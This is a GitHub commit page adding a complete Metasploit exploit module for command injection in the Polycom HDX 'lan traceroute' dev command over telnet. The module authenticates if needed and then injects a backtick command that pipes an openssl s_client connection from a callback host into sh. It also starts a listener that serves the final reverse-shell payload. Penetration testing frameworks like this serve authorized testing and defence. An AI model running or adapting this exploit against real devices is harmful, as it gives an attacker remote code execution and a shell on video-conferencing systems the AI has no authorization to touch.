Skip to content

Commit d93120e

Browse files
author
Austin
authored
Create polycom_hdx_traceroute_exec.rb
1 parent 256bf5a commit d93120e

File tree

1 file changed

+174
-0
lines changed

1 file changed

+174
-0
lines changed
Lines changed: 174 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,174 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::Tcp
10+
11+
def initialize(info = {})
12+
super(update_info(info,
13+
'Name' => 'Polycom Shell HDX Series Traceroute Command Execution',
14+
'Description' => %q{
15+
Within Polycom command shell, a command execution flaw exists in
16+
lan traceroute, one of the dev commands, which allows for an
17+
attacker to execute arbitrary payloads with telnet or openssl.
18+
},
19+
'Author' => [
20+
'Mumbai', #
21+
'staaldraad', # https://twitter.com/_staaldraad/
22+
'Paul Haas <Paul [dot] Haas [at] Security-Assessment.com>', # took some of the code from polycom_hdx_auth_bypass
23+
'h00die <[email protected]>' # stole the code, creds to them
24+
],
25+
'References' => [
26+
['URL', 'https://staaldraad.github.io/2017/11/12/polycom-hdx-rce/']
27+
],
28+
'DisclosureDate' => 'Nov 12 2017',
29+
'License' => MSF_LICENSE,
30+
'Platform' => 'unix',
31+
'Arch' => ARCH_CMD,
32+
'Targets' => [[ 'Automatic', {} ]],
33+
'Payload' => {
34+
'Space' => 8000,
35+
'DisableNops' => true,
36+
'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'telnet generic openssl'}
37+
},
38+
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' },
39+
'DefaultTarget' => 0
40+
))
41+
42+
register_options(
43+
[
44+
Opt::RHOST(),
45+
Opt::RPORT(23),
46+
OptString.new('PASSWORD', [ false, "Password to access console interface if required."]),
47+
OptAddress.new('CBHOST', [ false, "The listener address used for staging the final payload" ]),
48+
OptPort.new('CBPORT', [ false, "The listener port used for staging the final payload" ])
49+
])
50+
end
51+
52+
def check
53+
connect
54+
Rex.sleep(1)
55+
res = sock.get_once
56+
disconnect
57+
if !res && !res.empty?
58+
return Exploit::CheckCode::Unknown
59+
elsif res =~ /Welcome to ViewStation/ || res =~ /Polycom/
60+
return Exploit::CheckCode::Detected
61+
end
62+
Exploit::CheckCode::Unknown
63+
end
64+
65+
def exploit
66+
unless check == Exploit::CheckCode::Detected
67+
fail_with(Failure::Unknown, "#{peer} - Failed to connect to target service")
68+
end
69+
70+
#
71+
# Obtain banner information
72+
#
73+
sock = connect
74+
Rex.sleep(2)
75+
banner = sock.get_once
76+
vprint_status("Received : #{banner}")
77+
if banner =~ /password/
78+
print_status("Authentication enabled on device, authenticating with target...")
79+
if datastore['PASSWORD'].nil?
80+
print_error("#{peer} - Please supply a password to authenticate with")
81+
return
82+
end
83+
# couldnt find where to enable auth in web interface or telnet...but according to other module it exists..here in case.
84+
sock.put("#{datastore['PASSWORD']}\n")
85+
res = sock.get_once
86+
if res =~ /Polycom/
87+
print_good("#{peer} - Authenticated successfully with target.")
88+
elsif res =~ /failed/
89+
print_error("#{peer} - Invalid credentials for target.")
90+
return
91+
end
92+
elsif banner =~ /Polycom/ # praise jesus
93+
print_good("#{peer} - Device has no authentication, excellent!")
94+
end
95+
do_payload(sock)
96+
end
97+
98+
def do_payload(sock)
99+
# Prefer CBHOST, but use LHOST, or autodetect the IP otherwise
100+
cbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST'])
101+
102+
# Start a listener
103+
start_listener(true)
104+
105+
# Figure out the port we picked
106+
cbport = self.service.getsockname[2]
107+
# Utilize ping OS injection to push cmd payload using stager optimized for limited buffer < 128
108+
cmd = "devcmds\nlan traceroute `openssl${IFS}s_client${IFS}-quiet${IFS}-host${IFS}#{cbhost}${IFS}-port${IFS}#{cbport}|sh`\n"
109+
sock.put(cmd)
110+
if datastore['VERBOSE']
111+
Rex.sleep(2)
112+
vprint_status(sock.get_once)
113+
end
114+
115+
# Give time for our command to be queued and executed
116+
1.upto(5) do
117+
Rex.sleep(1)
118+
break if session_created?
119+
end
120+
end
121+
122+
def stage_final_payload(cli)
123+
print_good("Sending payload of #{payload.encoded.length} bytes to #{cli.peerhost}:#{cli.peerport}...")
124+
cli.put(payload.encoded + "\n")
125+
end
126+
127+
def start_listener(ssl = false)
128+
comm = datastore['ListenerComm']
129+
if comm == 'local'
130+
comm = ::Rex::Socket::Comm::Local
131+
else
132+
comm = nil
133+
end
134+
135+
self.service = Rex::Socket::TcpServer.create(
136+
'LocalPort' => datastore['CBPORT'],
137+
'SSL' => ssl,
138+
'SSLCert' => datastore['SSLCert'],
139+
'Comm' => comm,
140+
'Context' =>
141+
{
142+
'Msf' => framework,
143+
'MsfExploit' => self
144+
}
145+
)
146+
147+
self.service.on_client_connect_proc = proc { |client|
148+
stage_final_payload(client)
149+
}
150+
151+
# Start the listening service
152+
self.service.start
153+
end
154+
155+
# Shut down any running services
156+
def cleanup
157+
super
158+
if self.service
159+
print_status("Shutting down payload stager listener...")
160+
begin
161+
self.service.deref if self.service.is_a?(Rex::Service)
162+
if self.service.is_a?(Rex::Socket)
163+
self.service.close
164+
self.service.stop
165+
end
166+
self.service = nil
167+
rescue ::Exception
168+
end
169+
end
170+
end
171+
172+
# Accessor for our TCP payload stager
173+
attr_accessor :service
174+
end

0 commit comments

Comments
 (0)